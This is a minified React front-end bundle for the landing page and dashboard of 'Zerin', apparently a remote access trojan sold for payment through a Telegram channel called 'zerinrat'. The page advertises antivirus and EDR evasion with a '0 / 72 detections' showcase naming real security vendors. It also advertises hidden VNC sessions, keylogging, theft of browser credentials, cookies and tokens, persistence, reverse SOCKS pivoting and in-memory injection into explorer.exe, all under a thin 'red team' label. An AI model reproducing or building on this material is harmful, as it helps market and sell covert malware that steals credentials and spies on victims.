text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(_E,{})}),a.jsx(Y6,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(e_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>k(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const n_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function r_(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const i_=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"SHELL",title:"Command Execution",desc:"Interactive shell with full PowerShell and CMD support. Run commands, scripts, and post-exploitation modules on target systems.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"RECON",title:"Input Monitoring",desc:"Real-time keystroke capture with window context. Logs organized by application for comprehensive assessment data.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 8.25h9m-9 3H12m-9.75 1.51c0 1.6 1.123 2.994 2.707 3.227 1.129.166 2.27.293 3.423.379.35.026.67.21.865.501L12 21l2.755-4.133a1.14 1.14 0 0 1 .865-.501 48.172 48.172 0 0 0 3.423-.379c1.584-.233 2.707-1.626 2.707-3.228V6.741c0-1.602-1.123-2.995-2.707-3.228A48.394 48.394 0 0 0 12 3c-2.392 0-4.744.175-7.043.513C3.373 3.746 2.25 5.14 2.25 6.741v6.018Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"TUNNEL",title:"SOCKS5 Proxy",desc:"Reverse SOCKS5 tunnel through the agent. Pivot into internal networks and route traffic for lateral movement testing.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})})}],a_=["Windows Defender","CrowdStrike Falcon","SentinelOne","Kaspersky","Bitdefender","Norton 360","ESET NOD32","Malwarebytes","McAfee Total","Sophos Endpoint","Trend Micro","Avast Premium","CylancePROTECT","Carbon Black","Palo Alto Cortex","Webroot"];function Bs({value:e,label:t,suffix:n="",prefix:r=""}){const i=m.useRef(null),s=m.useRef(null);return m.useEffect(()=>{const o=i.current,l=s.current;if(!o||!l)return;const c=new IntersectionObserver(([u])=>{if(u.isIntersecting){let d=0;const p=Math.max(1,Math.ceil(e/40)),h=setInterval(()=>{d+=p,d>=e?(l.textContent=r+e.toLocaleString()+n,clearInterval(h)):l.textContent=r+d.toLocaleString()+n},50);c.disconnect()}},{threshold:.3});return c.observe(o),()=>c.disconnect()},[e,n,r]),a.jsxs("div",{ref:i,className:"text-center",children:[a.jsxs("div",{ref:s,className:"font-mono text-4xl md:text-5xl font-bold text-zerin-accent tabular-nums",children:[r,"0",n]}),a.jsx("div",{className:"text-zerin-text-muted text-sm mt-2 uppercase tracking-widest font-mono text-[11px]",children:t})]})}const s_=m.memo(function({name:t,delay:n}){return a.jsxs("div",{className:"flex items-center justify-between px-4 py-[7px] border-b border-[#111118] last:border-b-0 landing-scan-row",style:{animationDelay:`${n}ms`},children:[a.jsx("span",{className:"font-mono text-[12px] text-zerin-text-dim/80 truncate",children:t}),a.jsxs("span",{className:"font-mono text-[11px] tracking-wider text-emerald-400/90 flex items-center gap-1.5 flex-shrink-0",children:[a.jsx("span",{className:"w-1 h-1 rounded-full bg-emerald-400/80"}),"Clean"]})]})}),o_=m.memo(function({feature:t,index:n}){return a.jsxs("div",{className:"group relative",style:{animationDelay:`${n*80}ms`},children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 to-transparent opacity-0 group-hover:opacity-100 transition-opacity duration-500 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/30 transition-all duration-500 p-6 h-full flex flex-col",children:[a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/60 uppercase",children:t.tag}),a.jsx("span",{className:"text-zerin-accent/40 group-hover:text-zerin-accent transition-colors duration-500",children:t.icon})]}),a.jsx("h3",{className:"text-zerin-text font-display font-semibold text-[15px] mb-2 group-hover:text-zerin-accent transition-colors duration-300",children:t.title}),a.jsx("p",{className:"text-zerin-text-muted text-[13px] leading-relaxed flex-1",children:t.desc}),a.jsx("div",{className:"mt-5 h-[1px] w-0 group-hover:w-full bg-gradient-to-r from-zerin-accent/50 to-transparent transition-all duration-700"})]})]})});function l_(){const e=r_("Adversary Simulation. Red Team Operations.",45,600),[t,n]=m.useState(!1),[r,i]=m.useState(null),[s,o]=m.useState(()=>!sessionStorage.getItem("zerin_beta_dismissed")),l=m.useCallback(()=>{o(!1),sessionStorage.setItem("zerin_beta_dismissed","1")},[]);m.useEffect(()=>{const u=()=>n(window.scrollY>20);return window.addEventListener("scroll",u),()=>window.removeEventListener("scroll",u)},[]);const c=m.useCallback(async u=>{if(!r){i(u);try{const d=await fetch("/api/payments/create",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tier:u})}),f=await d.json();if(!d.ok){alert(f.error||"Failed to create payment");return}window.location.href=f.invoice_url}catch{alert("Failed to create payment. Please try again.")}finally{i(null)}}},[r]);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(n_,{}),s&&a.jsxs("div",{className:"fixed inset-0 z-[100] flex items-center justify-center px-4",onClick:l,children:[a.jsx("div",{className:"absolute inset-0 bg-black/70 backdrop-blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 max-w-md w-full p-8 animate-scale-in",onClick:u=>u.stopPropagation(),children:[a.jsx("div",{className:"absolute top-0 left-0 w-3 h-3 border-t border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute top-0 right-0 w-3 h-3 border-t border-r border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 left-0 w-3 h-3 border-b border-l border-zerin-accent/50"}),a.jsx("div",{className:"absolute bottom-0 right-0 w-3 h-3 border-b border-r border-zerin-accent/50"}),a.jsxs("div",{className:"flex items-center gap-2.5 mb-5",children:[a.jsx("span",{className:"w-2 h-2 rounded-full bg-amber-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-amber-400/90 uppercase",children:"Beta"})]}),a.jsx("h3",{className:"font-display font-bold text-xl text-zerin-text mb-3",children:"Zerin is still in development"}),a.jsx("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-3",children:"The platform is currently in beta and not yet feature-complete. We're actively building and testing before public release."}),a.jsxs("p",{className:"font-mono text-[13px] text-zerin-text-muted leading-relaxed mb-6",children:["The official release will be announced on our"," ",a.jsx("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",children:"Telegram channel"}),"."]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:l,className:"flex-1 bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 text-zerin-accent font-mono text-sm py-2.5 transition-all duration-300",children:"Got it"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"flex-1 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm py-2.5 text-center transition-all duration-300 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] flex items-center justify-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Join Telegram"]})]})]})]}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${t?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(ut,{to:"/features",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(ut,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(ut,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsxs("section",{className:"relative z-10 min-h-screen flex flex-col items-center justify-center px-6 text-center",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 border border-emerald-500/20 bg-emerald-500/5 px-4 py-1.5 mb-8 animate-fade-in",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-emerald-400 animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[11px] text-emerald-400/90 tracking-wide",children:"Advanced Red Team Framework"})]}),a.jsx("img",{src:"/zerin-logo.png",alt:"Zerin",className:"w-28 h-28 md:w-36 md:h-36 object-contain mb-6 opacity-0 animate-fade-in drop-shadow-[0_0_40px_rgba(6,182,212,0.4)]",style:{animationDelay:"200ms",animationFillMode:"forwards"}}),a.jsxs("h1",{className:"font-display font-bold text-5xl sm:text-6xl md:text-7xl lg:text-8xl tracking-tight leading-[0.95] mb-6",children:[a.jsx("span",{className:"block text-zerin-text opacity-0 animate-slide-up",children:"Next-Gen"}),a.jsx("span",{className:"block bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent opacity-0 animate-slide-up",style:{animationDelay:"150ms",animationFillMode:"forwards"},children:"Remote Access"})]}),a.jsx("div",{className:"h-8 mb-8",children:a.jsxs("span",{className:"font-mono text-lg md:text-xl text-zerin-text-muted",children:[a.jsx("span",{ref:e.spanRef}),a.jsx("span",{ref:e.cursorRef,className:"inline-block w-[2px] h-5 bg-zerin-accent ml-0.5 animate-pulse"})]})}),a.jsx("p",{className:"max-w-xl text-zerin-text-muted/80 text-[15px] leading-relaxed mb-10 opacity-0 animate-fade-in",style:{animationDelay:"800ms",animationFillMode:"forwards"},children:"Professional adversary simulation platform for red team operators and penetration testers. Encrypted C2 communications, polymorphic payload generation, and comprehensive post-exploitation capabilities."}),a.jsxs("div",{className:"flex items-center gap-4 opacity-0 animate-fade-in",style:{animationDelay:"1000ms",animationFillMode:"forwards"},children:[a.jsxs("a",{href:"#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Access"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(ut,{to:"/login",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-7 py-3 transition-all duration-300",children:"Sign In"})]}),a.jsxs("div",{className:"absolute bottom-10 left-1/2 -translate-x-1/2 flex flex-col items-center gap-2 opacity-0 animate-fade-in",style:{animationDelay:"1500ms",animationFillMode:"forwards"},children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted/40 uppercase tracking-[0.3em]",children:"Scroll"}),a.jsx("div",{className:"w-[1px] h-8 bg-gradient-to-b from-zerin-accent/30 to-transparent animate-pulse"})]})]}),a.jsx("section",{className:"relative z-10 py-28 px-6",children:a.jsxs("div",{className:"max-w-5xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-14",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-emerald-400/70 uppercase",children:"Evasion Testing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Built to Bypass."," ",a.jsx("span",{className:"bg-gradient-to-r from-emerald-400 to-cyan-300 bg-clip-text text-transparent",children:"Every Build Unique."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[14px] mt-3 max-w-lg mx-auto",children:"Every payload is structurally unique. Polymorphic generation, encrypted strings, and dynamic API resolution — built for testing your security stack."})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-8 items-start",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b] overflow-hidden",children:[a.jsxs("div",{className:"flex items-center justify-between px-5 py-3.5 border-b border-[#1a1a22] bg-[#08080c]",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 rounded-sm bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-emerald-400",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})})}),a.jsxs("div",{children:[a.jsx("div",{className:"font-mono text-[12px] text-zerin-text font-medium",children:"zerin_agent.exe"}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted",children:"SHA256: a4f8...3d7e · 487 KB"})]})]}),a.jsxs("div",{className:"text-right",children:[a.jsx("div",{className:"font-mono text-[22px] font-bold text-emerald-400 leading-none",children:"0 / 72"}),a.jsx("div",{className:"font-mono text-[9px] text-emerald-400/60 uppercase tracking-wider mt-0.5",children:"Detections"})]})]}),a.jsx("div",{className:"px-5 py-2.5 border-b border-[#1a1a22]",children:a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"flex-1 h-1 bg-[#111118] rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-gradient-to-r from-emerald-500 to-emerald-400 rounded-full landing-scan-bar"})}),a.jsx("span",{className:"font-mono text-[10px] text-emerald-400/80",children:"72 / 72"})]})}),a.jsx("div",{className:"max-h-[340px] overflow-y-auto custom-scrollbar",children:a_.map((u,d)=>a.jsx(s_,{name:u,delay:d*60},u))})]}),a.jsx("div",{className:"space-y-5 lg:pt-2",children:[{title:"Polymorphic Generation",desc:"Every build produces unique machine code. No two agents share the same byte sequence — tests your AV/EDR signature detection capabilities.",icon:"01"},{title:"Encrypted Strings",desc:"All strings are ChaCha20-encrypted with a per-build key. Decrypted at runtime and wiped after use. Designed to challenge static analysis tools.",icon:"02"},{title:"In-Memory Execution",desc:"Modules are loaded reflectively in memory — no disk artifacts, no loaded module list entries. Tests your EDR memory scanning capabilities.",icon:"03"},{title:"Dynamic API Resolution",desc:"Windows API calls resolved via runtime hash lookup. Clean import table — challenges import-based heuristic detection engines.",icon:"04"}].map(u=>a.jsxs("div",{className:"group flex gap-4 p-4 border border-[#1a1a22] bg-[#08080c]/50 hover:border-zerin-accent/20 transition-all duration-300",children:[a.jsx("div",{className:"flex-shrink-0 w-9 h-9 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70 font-bold",children:u.icon})}),a.jsxs("div",{children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text mb-1 group-hover:text-zerin-accent transition-colors duration-300",children:u.title}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed",children:u.desc})]})]},u.icon))})]})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-[#1a1a22]/50",children:a.jsx("div",{className:"max-w-5xl mx-auto",children:a.jsxs("div",{className:"grid lg:grid-cols-2 gap-12 items-center",children:[a.jsxs("div",{className:"border border-[#1a1a22] bg-[#06060b]",children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:"zerin@c2 ~ session"})]}),a.jsxs("div",{className:"p-5 font-mono text-[12px] leading-[1.8] space-y-0.5",children:[a.jsxs("div",{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"stealth --deploy"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Reflective module: 48 KB"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into explorer.exe (PID 4892)... 